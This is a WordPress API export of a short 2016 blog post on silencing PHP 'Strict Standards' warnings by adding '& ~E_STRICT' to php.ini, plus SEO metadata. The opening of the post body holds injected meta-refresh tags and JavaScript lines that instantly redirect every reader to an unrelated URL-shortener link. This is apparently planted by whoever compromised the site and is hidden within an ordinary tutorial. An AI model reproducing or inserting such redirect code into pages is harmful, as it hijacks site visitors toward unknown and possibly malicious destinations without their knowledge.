{"id":296,"date":"2016-07-04T15:35:17","date_gmt":"2016-07-04T15:35:17","guid":{"rendered":"http:\/\/kb.onlinesupport4u.in\/?p=296"},"modified":"2016-07-04T15:35:17","modified_gmt":"2016-07-04T15:35:17","slug":"strict-standard-error-in-php","status":"publish","type":"post","link":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/","title":{"rendered":"Strict standard error in PHP"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/huiPfeX0r0\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/huiPfeX0r0\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/huiPfeX0r0\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/huiPfeX0r0\";<\/script><br \/>\nWhile working on one of clients website after migration from PHP 5.3 to PHP 5.6<\/p>\n<p>I would see the error on &#8220;[01-Jul-2016 02:18:54 America\/Chicago] PHP Strict Standards:\u00a0 Declaration of Countries::getAttribute() should be compatible with CActiveRecord&#8221;<\/p>\n<p>On googling around I could see the issue was fixed by making changing few settings in php.ini<\/p>\n<p>Add <strong> &amp; ~E_STRICT<\/strong> to the end of the active error reporting line. For example, if your current setting is:<\/p>\n<div class=\"code_block\">error_reporting = E_ALL &amp; ~E_NOTICE &amp; ~E_DEPRECATED<\/div>\n<p>You would change it to read:<\/p>\n<div class=\"code_block\">error_reporting = E_ALL &amp; ~E_NOTICE &amp; ~E_DEPRECATED &amp; ~E_STRICT<\/div>\n<p>and restart httpd<\/p>\n<p>This will fix the issue.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>While working on one of clients website after migration from PHP 5.3 to PHP 5.6 I would see the error on &#8220;[01-Jul-2016 02:18:54 America\/Chicago] PHP Strict Standards:\u00a0 Declaration of Countries::getAttribute() should be compatible with CActiveRecord&#8221; On googling around I could see the issue was fixed by making changing few settings in php.ini Add &amp; ~E_STRICT [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":7630,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34,35],"tags":[122,123],"class_list":["post-296","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cpanel","category-linux","tag-php-error","tag-strict-standard-error"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Strict standard error in PHP - Aarvi Server Solutions<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Strict standard error in PHP - Aarvi Server Solutions\" \/>\n<meta property=\"og:description\" content=\"While working on one of clients website after migration from PHP 5.3 to PHP 5.6 I would see the error on &#8220;[01-Jul-2016 02:18:54 America\/Chicago] PHP Strict Standards:\u00a0 Declaration of Countries::getAttribute() should be compatible with CActiveRecord&#8221; On googling around I could see the issue was fixed by making changing few settings in php.ini Add &amp; ~E_STRICT [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/\" \/>\n<meta property=\"og:site_name\" content=\"Aarvi Server Solutions\" \/>\n<meta property=\"article:published_time\" content=\"2016-07-04T15:35:17+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2022\/12\/strict-standard-error-in-php_296.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"800\" \/>\n\t<meta property=\"og:image:height\" content=\"600\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Prasad Naik\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Prasad Naik\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/\"},\"author\":{\"name\":\"Prasad Naik\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#\\\/schema\\\/person\\\/c80edf3cd17550fb03e57e42f107261e\"},\"headline\":\"Strict standard error in PHP\",\"datePublished\":\"2016-07-04T15:35:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/\"},\"wordCount\":116,\"publisher\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/strict-standard-error-in-php_296.jpg\",\"keywords\":[\"php error\",\"Strict standard error\"],\"articleSection\":[\"cPanel\",\"Linux\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/\",\"url\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/\",\"name\":\"Strict standard error in PHP - Aarvi Server Solutions\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/strict-standard-error-in-php_296.jpg\",\"datePublished\":\"2016-07-04T15:35:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/#primaryimage\",\"url\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/strict-standard-error-in-php_296.jpg\",\"contentUrl\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/strict-standard-error-in-php_296.jpg\",\"width\":800,\"height\":600},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/strict-standard-error-in-php\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Strict standard error in PHP\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#website\",\"url\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/\",\"name\":\"Aarvi Server Solutions\",\"description\":\"cpanel server management\",\"publisher\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#organization\",\"name\":\"Aarvi Server Solutions\",\"url\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/wp-content\\\/uploads\\\/2021\\\/07\\\/aarvi-logo-2.png\",\"contentUrl\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/wp-content\\\/uploads\\\/2021\\\/07\\\/aarvi-logo-2.png\",\"width\":1016,\"height\":264,\"caption\":\"Aarvi Server Solutions\"},\"image\":{\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/#\\\/schema\\\/person\\\/c80edf3cd17550fb03e57e42f107261e\",\"name\":\"Prasad Naik\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e66b3251764796ab26e84f3fd94d32920872fbcecbb9126527107146ef9a9258?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e66b3251764796ab26e84f3fd94d32920872fbcecbb9126527107146ef9a9258?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/e66b3251764796ab26e84f3fd94d32920872fbcecbb9126527107146ef9a9258?s=96&d=mm&r=g\",\"caption\":\"Prasad Naik\"},\"sameAs\":[\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\"],\"url\":\"https:\\\/\\\/aarviserversolutions.co.in\\\/wps\\\/author\\\/prasad-naik\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Strict standard error in PHP - Aarvi Server Solutions","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/","og_locale":"en_US","og_type":"article","og_title":"Strict standard error in PHP - Aarvi Server Solutions","og_description":"While working on one of clients website after migration from PHP 5.3 to PHP 5.6 I would see the error on &#8220;[01-Jul-2016 02:18:54 America\/Chicago] PHP Strict Standards:\u00a0 Declaration of Countries::getAttribute() should be compatible with CActiveRecord&#8221; On googling around I could see the issue was fixed by making changing few settings in php.ini Add &amp; ~E_STRICT [&hellip;]","og_url":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/","og_site_name":"Aarvi Server Solutions","article_published_time":"2016-07-04T15:35:17+00:00","og_image":[{"width":800,"height":600,"url":"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2022\/12\/strict-standard-error-in-php_296.jpg","type":"image\/jpeg"}],"author":"Prasad Naik","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Prasad Naik","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/#article","isPartOf":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/"},"author":{"name":"Prasad Naik","@id":"https:\/\/aarviserversolutions.co.in\/wps\/#\/schema\/person\/c80edf3cd17550fb03e57e42f107261e"},"headline":"Strict standard error in PHP","datePublished":"2016-07-04T15:35:17+00:00","mainEntityOfPage":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/"},"wordCount":116,"publisher":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/#organization"},"image":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/#primaryimage"},"thumbnailUrl":"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2025\/09\/strict-standard-error-in-php_296.jpg","keywords":["php error","Strict standard error"],"articleSection":["cPanel","Linux"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/","url":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/","name":"Strict standard error in PHP - Aarvi Server Solutions","isPartOf":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/#website"},"primaryImageOfPage":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/#primaryimage"},"image":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/#primaryimage"},"thumbnailUrl":"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2025\/09\/strict-standard-error-in-php_296.jpg","datePublished":"2016-07-04T15:35:17+00:00","breadcrumb":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/#primaryimage","url":"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2025\/09\/strict-standard-error-in-php_296.jpg","contentUrl":"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2025\/09\/strict-standard-error-in-php_296.jpg","width":800,"height":600},{"@type":"BreadcrumbList","@id":"https:\/\/aarviserversolutions.co.in\/wps\/strict-standard-error-in-php\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/aarviserversolutions.co.in\/wps\/"},{"@type":"ListItem","position":2,"name":"Strict standard error in PHP"}]},{"@type":"WebSite","@id":"https:\/\/aarviserversolutions.co.in\/wps\/#website","url":"https:\/\/aarviserversolutions.co.in\/wps\/","name":"Aarvi Server Solutions","description":"cpanel server management","publisher":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/aarviserversolutions.co.in\/wps\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/aarviserversolutions.co.in\/wps\/#organization","name":"Aarvi Server Solutions","url":"https:\/\/aarviserversolutions.co.in\/wps\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/aarviserversolutions.co.in\/wps\/#\/schema\/logo\/image\/","url":"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2021\/07\/aarvi-logo-2.png","contentUrl":"https:\/\/aarviserversolutions.co.in\/wps\/wp-content\/uploads\/2021\/07\/aarvi-logo-2.png","width":1016,"height":264,"caption":"Aarvi Server Solutions"},"image":{"@id":"https:\/\/aarviserversolutions.co.in\/wps\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/aarviserversolutions.co.in\/wps\/#\/schema\/person\/c80edf3cd17550fb03e57e42f107261e","name":"Prasad Naik","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/e66b3251764796ab26e84f3fd94d32920872fbcecbb9126527107146ef9a9258?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/e66b3251764796ab26e84f3fd94d32920872fbcecbb9126527107146ef9a9258?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e66b3251764796ab26e84f3fd94d32920872fbcecbb9126527107146ef9a9258?s=96&d=mm&r=g","caption":"Prasad Naik"},"sameAs":["https:\/\/aarviserversolutions.co.in\/wps"],"url":"https:\/\/aarviserversolutions.co.in\/wps\/author\/prasad-naik\/"}]}},"_links":{"self":[{"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/posts\/296","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/comments?post=296"}],"version-history":[{"count":0,"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/posts\/296\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/media\/7630"}],"wp:attachment":[{"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/media?parent=296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/categories?post=296"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aarviserversolutions.co.in\/wps\/wp-json\/wp\/v2\/tags?post=296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}